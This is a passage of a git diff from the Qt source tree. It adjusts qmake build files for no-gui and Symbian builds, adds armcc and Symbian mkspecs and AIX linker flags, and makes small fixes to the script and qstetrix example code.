+    contains(QT_CONFIG, openssl):SUBDIRS += securesocketclient
+    contains(QT_CONFIG, openssl-linked):SUBDIRS += securesocketclient
+}
 
-contains(QT_CONFIG, openssl):SUBDIRS += securesocketclient
-contains(QT_CONFIG, openssl-linked):SUBDIRS += securesocketclient
+symbian: SUBDIRS = qftp
 
 # install
 sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS network.pro README
diff --git a/examples/network/qftp/sym_iap_util.h b/examples/network/qftp/sym_iap_util.h
index 445036a..f23d82f 100644
--- a/examples/network/qftp/sym_iap_util.h
+++ b/examples/network/qftp/sym_iap_util.h
@@ -60,7 +60,7 @@
 //#include <QTextCodec>
 
 _LIT(KIapNameSetting, "IAP\\Name");             // text - mandatory
-_LIT(KIapTableIdField, "IAP\Id");
+_LIT(KIapTableIdField, "IAP\\Id");
 _LIT(KIapDialogPref, "IAP\\DialogPref");        // TUnit32 - optional
 _LIT(KIapService, "IAP\\IAPService");           // TUnit32 - mandatory
 _LIT(KIapServiceType, "IAP\\IAPServiceType");   // text - mandatory
diff --git a/examples/script/customclass/bytearrayclass.cpp b/examples/script/customclass/bytearrayclass.cpp
index 1dbf2d4..239b4b4 100644
--- a/examples/script/customclass/bytearrayclass.cpp
+++ b/examples/script/customclass/bytearrayclass.cpp
@@ -148,13 +148,13 @@ void ByteArrayClass::setProperty(QScriptValue &object,
     if (!ba)
         return;
     if (name == length) {
-        ba->resize(value.toInt32());
+        resize(*ba, value.toInt32());
     } else {
         qint32 pos = id;
         if (pos < 0)
             return;
         if (ba->size() <= pos)
-            ba->resize(pos + 1);
+            resize(*ba, pos + 1);
         (*ba)[pos] = char(value.toInt32());
     }
 }
@@ -194,10 +194,13 @@ QScriptValue ByteArrayClass::constructor()
     return ctor;
 }
 
+//! [10]
 QScriptValue ByteArrayClass::newInstance(int size)
 {
+    engine()->reportAdditionalMemoryCost(size);
     return newInstance(QByteArray(size, /*ch=*/0));
 }
+//! [10]
 
 //! [1]
 QScriptValue ByteArrayClass::newInstance(const QByteArray &ba)
@@ -235,6 +238,16 @@ void ByteArrayClass::fromScriptValue(const QScriptValue &obj, QByteArray &ba)
     ba = qvariant_cast<QByteArray>(obj.data().toVariant());
 }
 
+//! [9]
+void ByteArrayClass::resize(QByteArray &ba, int newSize)
+{
+    int oldSize = ba.size();
+    ba.resize(newSize);
+    if (newSize > oldSize)
+        engine()->reportAdditionalMemoryCost(newSize - oldSize);
+}
+//! [9]
+
 
 
 ByteArrayClassPropertyIterator::ByteArrayClassPropertyIterator(const QScriptValue &object)
diff --git a/examples/script/customclass/bytearrayclass.h b/examples/script/customclass/bytearrayclass.h
index f185754..3f7ce22 100644
--- a/examples/script/customclass/bytearrayclass.h
+++ b/examples/script/customclass/bytearrayclass.h
@@ -82,6 +82,8 @@ private:
     static QScriptValue toScriptValue(QScriptEngine *eng, const QByteArray &ba);
     static void fromScriptValue(const QScriptValue &obj, QByteArray &ba);
 
+    void resize(QByteArray &ba, int newSize);
+
     QScriptString length;
     QScriptValue proto;
     QScriptValue ctor;
diff --git a/examples/script/qstetrix/tetrixboard.cpp b/examples/script/qstetrix/tetrixboard.cpp
index 7d44c4c..f35740d 100644
--- a/examples/script/qstetrix/tetrixboard.cpp
+++ b/examples/script/qstetrix/tetrixboard.cpp
@@ -54,7 +54,12 @@ TetrixBoard::TetrixBoard(QWidget *parent)
 
 void TetrixBoard::setNextPieceLabel(QWidget *label)
 {
-    nextPieceLabel = qobject_cast<QLabel*>(label);
+    nextPieceLbl = qobject_cast<QLabel*>(label);
+}
+
+QLabel *TetrixBoard::nextPieceLabel() const
+{ 
+    return nextPieceLbl;
 }
 
 QObject *TetrixBoard::getTimer()
@@ -82,16 +87,16 @@ void TetrixBoard::keyPressEvent(QKeyEvent *event)
 
 void TetrixBoard::showNextPiece(int width, int height)
 {
-    if (!nextPieceLabel)
+    if (!nextPieceLabel())
         return;
 
     QPixmap pixmap(width * squareWidth(), height * squareHeight());
     QPainter painter(&pixmap);
-    painter.fillRect(pixmap.rect(), nextPieceLabel->palette().background());
+    painter.fillRect(pixmap.rect(), nextPieceLabel()->palette().background());
 
     emit paintNextPieceRequested(&painter);
 
-    nextPieceLabel->setPixmap(pixmap);
+    nextPieceLabel()->setPixmap(pixmap);
 }
 
 void TetrixBoard::drawPauseScreen(QPainter *painter)
diff --git a/examples/script/qstetrix/tetrixboard.h b/examples/script/qstetrix/tetrixboard.h
index 7a04317..781ec39 100644
--- a/examples/script/qstetrix/tetrixboard.h
+++ b/examples/script/qstetrix/tetrixboard.h
@@ -45,21 +45,19 @@
 #include <QTimer>
 #include <QFrame>
 #include <QPointer>
-
-QT_BEGIN_NAMESPACE
-class QLabel;
-QT_END_NAMESPACE
+#include <QLabel>
 
 class TetrixBoard : public QFrame
 {
     Q_OBJECT
     Q_PROPERTY(QObject* timer READ getTimer)
-    Q_PROPERTY(QWidget* nextPieceLabel WRITE setNextPieceLabel)
+    Q_PROPERTY(QWidget* nextPieceLabel READ nextPieceLabel WRITE setNextPieceLabel)
 
 public:
     TetrixBoard(QWidget *parent = 0);
 
     void setNextPieceLabel(QWidget *label);
+    QLabel *nextPieceLabel() const;
     void setBoardWidth(int width);
     void setBoardHeight(int height);
     QSize minimumSizeHint() const;
@@ -95,7 +93,7 @@ private:
     int squareHeight() { return contentsRect().height() / BoardHeight; }
 
     QTimer *timer;
-    QPointer<QLabel> nextPieceLabel;
+    QPointer<QLabel> nextPieceLbl;
     QImage image;
 };
 
diff --git a/examples/script/script.pro b/examples/script/script.pro
index 5f3d04a..a95ad13 100644
--- a/examples/script/script.pro
+++ b/examples/script/script.pro
@@ -1,8 +1,10 @@
 TEMPLATE = subdirs
-SUBDIRS = helloscript context2d defaultprototypes customclass
+SUBDIRS = customclass
+!contains(QT_CONFIG, no-gui):SUBDIRS += helloscript context2d defaultprototypes
 
-!wince*:SUBDIRS += qscript marshal
-!wince*:!cross_compile:SUBDIRS += calculator qstetrix
+!wince*:!contains(QT_CONFIG, no-gui):SUBDIRS += qscript marshal
+!wince*:SUBDIRS *= marshal
+!wince*:!cross_compile:!contains(QT_CONFIG, no-gui):SUBDIRS += calculator qstetrix
 
 symbian: SUBDIRS = context2d
 
diff --git a/examples/statemachine/statemachine.pro b/examples/statemachine/statemachine.pro
index 298c0ae..17ef6b4 100644
--- a/examples/statemachine/statemachine.pro
+++ b/examples/statemachine/statemachine.pro
@@ -1,11 +1,15 @@
 TEMPLATE      = subdirs
 SUBDIRS       = \
-                eventtransitions \
                 factorial \
-                pingpong \
+                pingpong
+
+!contains(QT_CONFIG, no-gui) {
+    SUBDIRS +=  \
+                eventtransitions \
                 rogue \
                 trafficlight \
                 twowaybutton
+}
 
 # install
 target.path = $$[QT_INSTALL_EXAMPLES]/statemachine
diff --git a/examples/symbianpkgrules.pri b/examples/symbianpkgrules.pri
index 35edbfb..a1b6634 100644
--- a/examples/symbianpkgrules.pri
+++ b/examples/symbianpkgrules.pri
@@ -10,6 +10,7 @@ vendorinfo = \
     ":\"Nokia, Qt\"" \
     " "
 
-default_deployment.pkg_prerules += vendorinfo
+examples_deployment.pkg_prerules += vendorinfo
+DEPLOYMENT += examples_deployment
 
 isEmpty(ICON):ICON = $$QT_SOURCE_TREE/src/s60installs/qt.svg
diff --git a/examples/threads/threads.pro b/examples/threads/threads.pro
index 93d8cc8..feb72f0 100644
--- a/examples/threads/threads.pro
+++ b/examples/threads/threads.pro
@@ -1,8 +1,9 @@
 TEMPLATE      = subdirs
-SUBDIRS       = mandelbrot \
-                semaphores \
+SUBDIRS       = semaphores \
                 waitconditions
 
+!contains(QT_CONFIG, no-gui):SUBDIRS += mandelbrot
+
 # install
 target.path = $$[QT_INSTALL_EXAMPLES]/threads
 sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS threads.pro README
diff --git a/examples/threads/waitconditions/waitconditions.pro b/examples/threads/waitconditions/waitconditions.pro
index c2be6cd..4f5d1d4 100644
--- a/examples/threads/waitconditions/waitconditions.pro
+++ b/examples/threads/waitconditions/waitconditions.pro
@@ -4,6 +4,7 @@
 
 TEMPLATE = app
 CONFIG -= moc app_bundle
+QT -= gui
 DEPENDPATH += .
 INCLUDEPATH += .
 
diff --git a/examples/xml/xml.pro b/examples/xml/xml.pro
index 0bc6dd9..6d232e5 100644
--- a/examples/xml/xml.pro
+++ b/examples/xml/xml.pro
@@ -1,10 +1,13 @@
 TEMPLATE      = subdirs
-SUBDIRS       = dombookmarks \
-                htmlinfo \
+SUBDIRS       = htmlinfo \
+                xmlstreamlint
+
+!contains(QT_CONFIG, no-gui) {
+    SUBDIRS +=  dombookmarks \
                 rsslisting \
                 saxbookmarks \
-                streambookmarks \
-                xmlstreamlint
+                streambookmarks
+}
 
 symbian: SUBDIRS = htmlinfo saxbookmarks
 
diff --git a/imports/.gitignore b/imports/.gitignore
new file mode 100644
index 0000000..3b18f12
--- /dev/null
+++ b/imports/.gitignore
@@ -0,0 +1,5 @@
+*.dll
+*.dso
+*.so
+*.so.debug
+qmldir
diff --git a/mkspecs/aix-xlc-64/qmake.conf b/mkspecs/aix-xlc-64/qmake.conf
index c67bd0b..ae87b88 100644
--- a/mkspecs/aix-xlc-64/qmake.conf
+++ b/mkspecs/aix-xlc-64/qmake.conf
@@ -49,7 +49,7 @@ QMAKE_LIBDIR_OPENGL	=
 QMAKE_LINK		= xlC
 QMAKE_LINK_THREAD	= xlC_r
 QMAKE_LINK_SHLIB	= ld
-QMAKE_LFLAGS		= -q64
+QMAKE_LFLAGS		= -q64 -bbigtoc
 QMAKE_LFLAGS_RELEASE	=
 QMAKE_LFLAGS_DEBUG	=
 QMAKE_LFLAGS_SHLIB	= -qmkshrobj
diff --git a/mkspecs/aix-xlc/qmake.conf b/mkspecs/aix-xlc/qmake.conf
index e81fb66..fe91236 100644
--- a/mkspecs/aix-xlc/qmake.conf
+++ b/mkspecs/aix-xlc/qmake.conf
@@ -49,7 +49,7 @@ QMAKE_LIBDIR_OPENGL	=
 QMAKE_LINK		= xlC
 QMAKE_LINK_THREAD	= xlC_r
 QMAKE_LINK_SHLIB	= ld
-QMAKE_LFLAGS		=
+QMAKE_LFLAGS		= -bmaxdata:0x80000000
 QMAKE_LFLAGS_RELEASE	=
 QMAKE_LFLAGS_DEBUG	=
 QMAKE_LFLAGS_SHLIB	= -qmkshrobj
diff --git a/mkspecs/common/armcc.conf b/mkspecs/common/armcc.conf
new file mode 100644
index 0000000..2c765bc
--- /dev/null
+++ b/mkspecs/common/armcc.conf
@@ -0,0 +1,41 @@
+#
+# qmake configuration for armcc
+#
+
+CONFIG			+= rvct_linker
+QMAKE_CC		= armcc
+QMAKE_CFLAGS		+=
+QMAKE_CFLAGS_DEPS	+= -M
+QMAKE_CFLAGS_WARN_ON	+=
+QMAKE_CFLAGS_WARN_OFF	+= -W
+QMAKE_CFLAGS_RELEASE	+= -O2
+QMAKE_CFLAGS_DEBUG	+= -g -O0
+QMAKE_CFLAGS_HIDESYMS   += --visibility_inlines_hidden
+
+QMAKE_CXX		= armcc
+QMAKE_CXXFLAGS		+= $$QMAKE_CFLAGS --exceptions --exceptions_unwind
+QMAKE_CXXFLAGS_DEPS	+= $$QMAKE_CFLAGS_DEPS
+QMAKE_CXXFLAGS_WARN_ON	+= $$QMAKE_CFLAGS_WARN_ON
+QMAKE_CXXFLAGS_WARN_OFF	+= $$QMAKE_CFLAGS_WARN_OFF
+QMAKE_CXXFLAGS_RELEASE	+= $$QMAKE_CFLAGS_RELEASE
+QMAKE_CXXFLAGS_DEBUG	+= $$QMAKE_CFLAGS_DEBUG
+QMAKE_CXXFLAGS_SHLIB	+= $$QMAKE_CFLAGS_SHLIB
+QMAKE_CXXFLAGS_STATIC_LIB += $$QMAKE_CFLAGS_STATIC_LIB
+QMAKE_CXXFLAGS_YACC	+= $$QMAKE_CFLAGS_YACC
+QMAKE_CXXFLAGS_HIDESYMS += $$QMAKE_CFLAGS_HIDESYMS
+
+QMAKE_LINK		= armlink
+QMAKE_LINK_SHLIB	= armlink
+QMAKE_LINK_C		= armlink
+QMAKE_LINK_C_SHLIB	= armlink
+QMAKE_LFLAGS		+=
+QMAKE_LFLAGS_RELEASE	+=
+QMAKE_LFLAGS_DEBUG	+=
+QMAKE_LFLAGS_APP	+=
+QMAKE_LFLAGS_SHLIB	+=
+QMAKE_LFLAGS_PLUGIN	+= $$QMAKE_LFLAGS_SHLIB
+QMAKE_LFLAGS_THREAD	+=
+
+QMAKE_AR                = armar --create
+QMAKE_RANLIB            =
+
diff --git a/mkspecs/common/symbian/header-wrappers/AknDoc.h b/mkspecs/common/symbian/header-wrappers/AknDoc.h
new file mode 100644
index 0000000..d4dbd7d
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/AknDoc.h
@@ -0,0 +1 @@
+#include <akndoc.h>
diff --git a/mkspecs/common/symbian/header-wrappers/AknPopupFader.h b/mkspecs/common/symbian/header-wrappers/AknPopupFader.h
new file mode 100644
index 0000000..60a007a
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/AknPopupFader.h
@@ -0,0 +1 @@
+#include <aknpopupfader.h>
diff --git a/mkspecs/common/symbian/header-wrappers/AknServerApp.h b/mkspecs/common/symbian/header-wrappers/AknServerApp.h
new file mode 100644
index 0000000..b4dc69f
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/AknServerApp.h
@@ -0,0 +1 @@
+#include <aknserverapp.h>
diff --git a/mkspecs/common/symbian/header-wrappers/AknUtils.h b/mkspecs/common/symbian/header-wrappers/AknUtils.h
new file mode 100644
index 0000000..66a3784
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/AknUtils.h
@@ -0,0 +1 @@
+#include <aknutils.h>
diff --git a/mkspecs/common/symbian/header-wrappers/CDirectoryLocalizer.h b/mkspecs/common/symbian/header-wrappers/CDirectoryLocalizer.h
new file mode 100644
index 0000000..f251302
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/CDirectoryLocalizer.h
@@ -0,0 +1 @@
+#include <cdirectorylocalizer.h>
diff --git a/mkspecs/common/symbian/header-wrappers/DocumentHandler.h b/mkspecs/common/symbian/header-wrappers/DocumentHandler.h
new file mode 100644
index 0000000..8981af6
--- /dev/null
+++ b/mkspecs/common/symbian/header-wrappers/DocumentHandler.h
@@ -0,0 +1 @@
+#include <documenthandler.h>
diff --git a/mkspecs/common/symbian/qplatformdefs.h b/mkspecs/common/symbian/qplatformdefs.h
index 38a1314..2b075ba 100644
--- a/mkspecs/common/symbian/qplatformdefs.h
+++ b/mkspecs/common/symbian/qplatformdefs.h
@@ -85,6 +85,8 @@
 #include <arpa/inet.h>
 
 #define QT_USE_XOPEN_LFS_EXTENSIONS
+// unset large file as symbian doesn't support it
+#undef QT_LARGEFILE_SUPPORT
 #include "../posix/qplatformdefs.h"
 
 #undef QT_OPEN_LARGEFILE
diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
new file mode 100644
index 0000000..3801eff
--- /dev/null
+++ b/mkspecs/common/symbian/symbian-makefile.conf
@@ -0,0 +1,45 @@
+#
+# qmake configuration for makefile based symbian
+#
+
+MAKEFILE_GENERATOR	= SYMBIAN_UNIX
+
+include(symbian.conf)
+
+QMAKE_LIBDIR_QT         = $$[QT_INSTALL_LIBS]
+
+QMAKE_RUN_CC		= $(CC) -c $(CFLAGS) $(INCPATH) -o $obj $src
+QMAKE_RUN_CC_IMP	= $(CC) -c $(CFLAGS) $(INCPATH) -o $@ $<
+QMAKE_RUN_CXX		= $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $obj $src
+QMAKE_RUN_CXX_IMP	= $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $@ $<
+
+QMAKE_ELF2E32_FLAGS	+=
+
+include(../../common/unix.conf)
+
+QMAKE_PREFIX_SHLIB    =
+QMAKE_EXTENSION_SHLIB = dll
+CONFIG *= no_plugin_name_prefix
+QMAKE_EXTENSION_PLUGIN = dll
+QMAKE_PREFIX_STATICLIB =
+QMAKE_EXTENSION_STATICLIB = lib
+QMAKE_SYMBIAN_SHLIB   = 1
+
+DEFINES *= __PRODUCT_INCLUDE__=\<$${EPOCROOT}epoc32/include/variant/symbian_os.hrh\> \
+    __SYMBIAN32__ \
+    __MARM_INTERWORK__ \
+    _UNICODE \
+    __S60_50__ \
+    __S60_3X__ \
+    __SERIES60_3X__ \
+    __EPOC32__ \
+    __MARM__ \
+    __EABI__ \
+    __MARM_ARMV5__ \
+    __SUPPORT_CPP_EXCEPTIONS__
+
+QMAKE_CFLAGS_DEBUG      += -g
+QMAKE_CXXFLAGS_DEBUG    += -g
+QMAKE_CFLAGS_RELEASE    += -O2 -Otime
+QMAKE_CXXFLAGS_RELEASE  += -O2 -Otime
+
diff --git a/mkspecs/common/symbian/symbian-mmp.conf b/mkspecs/common/symbian/symbian-mmp.conf
new file mode 100644
index 0000000..507b60c
--- /dev/null
+++ b/mkspecs/common/symbian/symbian-mmp.conf
@@ -0,0 +1,77 @@
+#
+# qmake configuration for symbian-*
+#
+
+include(symbian.conf)
+
+contains(QMAKE_HOST.os, "Windows") {
+    QMAKE_MOC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}moc.exe
+    QMAKE_UIC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic.exe
+    QMAKE_IDC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}idc.exe
+} else {
+    QMAKE_MOC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}moc
+    QMAKE_UIC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic
+    QMAKE_IDC       = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}idc
+}
+
+load(symbian/add_mmp_rules)
+
+symbian-abld {
+# Versions of abld prior to Symbian^3 have a bug where you cannot remove something from the command line without replacing it
+# Rather than figure out which version of abld we're using, we'll replace the command with a macro *that should never be used*
+    MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl -D__QT_NOEFFECTMACRO_DONOTUSE"
+} else {
+    MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl // don't use --export_all_vtbl"
+}
+MMP_RULES += PAGED BYTEPAIRCOMPRESSTARGET
+MMP_RULES += $$MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA
+SYMBIAN_PLATFORMS = WINSCW GCCE ARMV5 ARMV6
+
+INCLUDEPATH = \
+    $$[QT_INSTALL_PREFIX]/mkspecs/common/symbian/stl-off \
+    $$[QT_INSTALL_PREFIX]/mkspecs/common/symbian \
+    $${EPOCROOT}epoc32/include \
+    $$OS_LAYER_LIBC_SYSTEMINCLUDE \
+    $$INCLUDEPATH
+
+# Ensure '.' directory is the first in include path.
+# RVCT seems to do this automatically, but WINSCW compiler does not, so add it here.
+MMP_RULES += "USERINCLUDE ."
+
+# Supports S60 3.0, 3.1, 3.2 and 5.0 by default
+default_deployment.pkg_prerules = \
+    "; Default HW/platform dependencies" \
+    "[0x101F7961],0,0,0,{\"S60ProductID\"}" \
+    "[0x102032BE],0,0,0,{\"S60ProductID\"}" \
+    "[0x102752AE],0,0,0,{\"S60ProductID\"}" \
+    "[0x1028315F],0,0,0,{\"S60ProductID\"}" \
+    " "
+
+DEPLOYMENT += default_deployment
+
+exists($${EPOCROOT}epoc32/release/winscw/udeb/z/system/install/series60v5.0.sis )|exists($${EPOCROOT}epoc32/data/z/system/install/series60v5.0.sis) {
+    S60_VERSION = 5.0
+} else {
+    exists($${EPOCROOT}epoc32/release/winscw/udeb/z/system/install/series60v3.2.sis )|exists($${EPOCROOT}epoc32/data/z/system/install/series60v3.2.sis) {
+        S60_VERSION = 3.2
+    } else {
+        S60_VERSION = 3.1
+        MMP_RULES -= PAGED BYTEPAIRCOMPRESSTARGET
+    }
+}
+
+QMAKE_CXXFLAGS_FAST_VFP.ARMCC = --fpmode fast
+# [TODO] QMAKE_CXXFLAGS_FAST_VFP.GCCE =
+
+symbian {
+    armfpu = $$find(MMP_RULES, "ARMFPU")
+    !isEmpty(armfpu) {
+        vfpv2 = $$find(MMP_RULES, "vfpv2")
+        !isEmpty(vfpv2) {
+            # we will respect fpu setting obtained from configure, but,
+            # if vfpv2 or softvfp+vfpv2 used we want to force RunFast VFP mode
+            QMAKE_CXXFLAGS.ARMCC += $${QMAKE_CXXFLAGS_FAST_VFP.ARMCC}
+            # [TODO] QMAKE_CXXFLAGS.GCCE += $${QMAKE_CXXFLAGS_FAST_VFP.GCCE}
+        }
+    }
+}
diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
index 16b9a28..1df3671 100644
--- a/mkspecs/common/symbian/symbian.conf
+++ b/mkspecs/common/symbian/symbian.conf
@@ -1,23 +1,19 @@
 #
-# qmake configuration for symbian-*
+# qmake configuration for all symbian mkspecs
 #
 
 TEMPLATE		= app
-CONFIG			+= qt warn_on release incremental
+CONFIG			+= qt warn_on release incremental link_prl sis_targets
 QT			+= core gui
 QMAKE_INCREMENTAL_STYLE = sublib
 
 DEFINES			+= UNICODE QT_KEYPAD_NAVIGATION QT_SOFTKEYS_ENABLED QT_USE_MATH_H_FLOATS
 
-# QNetworkAccessManager to create a network session by default
-DEFINES += QT_QNAM_DEFAULT_NETWORK_SESSION
-
 QMAKE_COMPILER_DEFINES  += SYMBIAN
 
 QMAKE_EXT_OBJ           = .o
 QMAKE_EXT_RES           = _res.o
 
-QMAKE_CC		= gcc
 QMAKE_LEX		= flex
 QMAKE_LEXFLAGS		=
 QMAKE_YACC		= byacc
@@ -30,7 +26,8 @@ QMAKE_CFLAGS_RELEASE	=
 QMAKE_CFLAGS_DEBUG	=
 QMAKE_CFLAGS_YACC	= -Wno-unused -Wno-parentheses
 
-QMAKE_CXX		= g++
+MMP_OPTION_KEYWORDS = CW ARMCC GCCE
+VERSION_FLAGS.ARMCC = ARMCC_4_0
 QMAKE_CXXFLAGS		= $$QMAKE_CFLAGS
 # Symbian build system applies -cwd source on the MWCC command line.
 # this causes problems with include paths, -cwd include uses the same
@@ -38,7 +35,8 @@ QMAKE_CXXFLAGS		= $$QMAKE_CFLAGS
 # This should really be fixed in raptor, as using CXXFLAGS means we pass
 # both on the command line and rely on the compiler using the last specified
 QMAKE_CXXFLAGS.CW	= -cwd include
-QMAKE_CXXFLAGS.ARMCC	= --visibility_inlines_hidden
+QMAKE_CXXFLAGS.ARMCC      = --visibility_inlines_hidden
+QMAKE_CXXFLAGS.ARMCC_4_0  = --import_all_vtbl
 QMAKE_CXXFLAGS.GCCE	= -fvisibility-inlines-hidden
 QMAKE_CXXFLAGS_DEPS	= $$QMAKE_CFLAGS_DEPS
 QMAKE_CXXFLAGS_WARN_ON	= $$QMAKE_CFLAGS_WARN_ON
@@ -55,12 +53,6 @@ QMAKE_CXXFLAGS_EXCEPTIONS_OFF =
 QMAKE_INCDIR		=
 QMAKE_INCDIR_QT		= $$[QT_INSTALL_HEADERS]
 
-QMAKE_RUN_CC		= $(CC) -c $(CFLAGS) $(INCPATH) -o $obj $src
-QMAKE_RUN_CC_IMP	= $(CC) -c $(CFLAGS) $(INCPATH) -o $@ $<
-QMAKE_RUN_CXX		= $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $obj $src
-QMAKE_RUN_CXX_IMP	= $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $@ $<
-
-QMAKE_LINK              =
 QMAKE_LFLAGS            =
 QMAKE_LFLAGS.ARMCC      = 
 QMAKE_LFLAGS_EXCEPTIONS_ON =
@@ -74,16 +66,21 @@ QMAKE_LINK_OBJECT_MAX   =
 QMAKE_LINK_OBJECT_SCRIPT=
 
 QMAKE_LIBS		= -llibc -llibm -leuser -llibdl
-QMAKE_LIBS_CORE         = $$QMAKE_LIBS -llibpthread -lefsrv
-QMAKE_LIBS_GUI          = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lhal -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -leikcoctl -leiksrv -lapparc -lcentralrepository
+QMAKE_LIBS_CORE         = $$QMAKE_LIBS -lefsrv -lhal
+QMAKE_LIBS_GUI          = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -leikcoctl -leiksrv -lapparc -lcentralrepository
 QMAKE_LIBS_NETWORK      = 
 QMAKE_LIBS_EGL          = -llibEGL
 QMAKE_LIBS_OPENGL       = 
-QMAKE_LIBS_OPENVG       = -llibOpenVG -lgraphicsresource -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_OPENVG       = -llibOpenVG -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_THREAD       = -llibpthread
 QMAKE_LIBS_COMPAT       = 
 QMAKE_LIBS_QT_ENTRY     = -llibcrt0.lib
 QMAKE_LIBS_S60          = -lavkon
 
+exists($${EPOCROOT}epoc32/include/platform/sgresource/sgimage.h) {
+    QMAKE_LIBS_OPENVG += -lsgresource
+}
+
 contains(QMAKE_HOST.os,Windows) {
     QMAKE_COPY           = copy /y
     QMAKE_COPY_DIR       = xcopy /s /q /y /i
@@ -104,84 +101,14 @@ contains(QMAKE_HOST.os,Windows) {
     QMAKE_CHK_DIR_EXISTS = test -d
 }
 
-contains(QMAKE_HOST.os, "Windows") {
-    QMAKE_MOC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}moc.exe
-    QMAKE_UIC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic.exe
-    QMAKE_IDC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}idc.exe
-} else {
-    QMAKE_MOC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}moc
-    QMAKE_UIC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}uic
-    QMAKE_IDC		= $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}idc
-}
-
-QMAKE_IDL		= midl
-QMAKE_LIB		= ar -ru
-QMAKE_RC		= windres
-QMAKE_ZIP		= zip -r -9
+QMAKE_IDL		  = midl
+QMAKE_LIB		  = ar -ru
+QMAKE_RC		  = windres
+QMAKE_ZIP		  = zip -r -9
 
-QMAKE_STRIP		= strip
-QMAKE_STRIPFLAGS_LIB 	+= --strip-unneeded
+QMAKE_TAR                 = tar -cf
+QMAKE_GZIP                = gzip -9f
 
+QT_ARCH               = symbian
 load(qt_config)
 load(symbian/platform_paths)
-load(symbian/add_mmp_rules)
-
-symbian-abld {
-# Versions of abld prior to Symbian^3 have a bug where you cannot remove something from the command line without replacing it
-# Rather than figure out which version of abld we're using, we'll replace the command with a macro *that should never be used*
-    MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl -D__QT_NOEFFECTMACRO_DONOTUSE"
-} else {
-    MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl // don't use --export_all_vtbl"
-}
-MMP_RULES += PAGED BYTEPAIRCOMPRESSTARGET
-MMP_RULES += $$MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA
-SYMBIAN_PLATFORMS = WINSCW GCCE ARMV5 ARMV6
-
-INCLUDEPATH = \
-    $$[QT_INSTALL_PREFIX]/mkspecs/common/symbian/stl-off \
-    $$[QT_INSTALL_PREFIX]/mkspecs/common/symbian \
-    $${EPOCROOT}epoc32/include \
-    $$OS_LAYER_LIBC_SYSTEMINCLUDE \
-    $$INCLUDEPATH
-
-# Ensure '.' directory is the first in include path.
-# RVCT seems to do this automatically, but WINSCW compiler does not, so add it here.
-MMP_RULES += "USERINCLUDE ."
-
-# Supports S60 3.0, 3.1, 3.2 and 5.0 by default
-default_deployment.pkg_prerules = \
-    "; Default HW/platform dependencies" \
-    "[0x101F7961],0,0,0,{\"S60ProductID\"}" \
-    "[0x102032BE],0,0,0,{\"S60ProductID\"}" \
-    "[0x102752AE],0,0,0,{\"S60ProductID\"}" \
-    "[0x1028315F],0,0,0,{\"S60ProductID\"}" \
-    " "
-
-DEPLOYMENT += default_deployment
-
-exists($${EPOCROOT}epoc32/release/winscw/udeb/z/system/install/series60v5.0.sis )|exists($${EPOCROOT}epoc32/data/z/system/install/series60v5.0.sis) {
-    S60_VERSION = 5.0
-} else {
-    exists($${EPOCROOT}epoc32/release/winscw/udeb/z/system/install/series60v3.2.sis )|exists($${EPOCROOT}epoc32/data/z/system/install/series60v3.2.sis) {
-        S60_VERSION = 3.2
-    } else {
-        S60_VERSION = 3.1
-        MMP_RULES -= PAGED BYTEPAIRCOMPRESSTARGET
-    }
-}
-
-QMAKE_CXXFLAGS_FAST_VFP.ARMCC = --fpmode fast
-# [TODO] QMAKE_CXXFLAGS_FAST_VFP.GCCE =
-
-symbian {
-    armfpu = $$find(MMP_RULES, "ARMFPU")
-    !isEmpty(armfpu) {
-        vfpv2 = $$find(MMP_RULES, "vfpv2")
-        !isEmpty(vfpv2) {
-            # we will respect fpu setting obtained from configure, but,
-            # if vfpv2 or softvfp+vfpv2 used we want to force RunFast VFP mode
-            QMAKE_CXXFLAGS.ARMCC += $${QMAKE_CXXFLAGS_FAST_VFP.ARMCC}
-            # [TODO] QMAKE_CXXFLAGS.GCCE += $${QMAKE_CXXFLAGS_FAST_VFP.GCCE}
-        }
-    }
-}
diff --git a/mkspecs/common/unix.conf b/mkspecs/common/unix.conf
index 4cb171e..c480ba4 100644
--- a/mkspecs/common/unix.conf
+++ b/mkspecs/common/unix.conf
